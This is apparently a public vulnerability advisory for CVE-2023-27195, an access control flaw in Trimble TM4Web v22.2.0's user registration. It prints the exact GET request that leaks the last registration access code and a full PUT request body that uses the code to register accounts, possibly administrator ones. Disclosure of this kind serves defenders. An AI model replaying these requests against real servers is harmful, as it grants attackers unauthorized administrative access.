CVE ID: CVE-2023-27195

An access control issue in Trimble TM4Web v22.2.0 allows
unauthenticated attackers to access a specific crafted URL path to
retrieve the last registration access code and use this access code to
register a valid account. If the access code was used to create an
Administrator account, attackers are also able to register new
Administrator accounts with full rights and privileges.

Vulnerability Type: Broken Access Control

Vendor of Product: Trimble - Transportation

Affected Product Code Base: TM4Web v22.2.0

Affected Component: User registration process

Attack Type: Remote

Impact: Privilege escalation / authentication bypass

Attack Vectors:*1. Accessing the last access code *

GET /inc/tm_ajax.msw?func=UserfromUUID&uuid=


*2. Sending PUT request to create a new user account with previously
retrieved access code*

PUT /inc/tm_ajax.msw

Host: [...]
WEB_UUID=&USERNAME=ccruchet&FIRST_NAME=test&LAST_NAME=test&COMPANY=test&DEPARTMENT=test&ADDRESS1=test&ADDRESS2=test&CITY=test&STATE_CODE=BC&COUNTRY_CODE=CA&POSTAL_CODE=J3L0B8&PHONE=1111111111&PHONE_EXT=&FAX=&[email protected]&LANGUAGE=EN&ACCESS_CODE=XXXXXX&pwd1=Password123&pwd2=Password123&isReadonly=false&func=WebUser

Discoverer: Clément Cruchet (lutzenfried)

- Official website: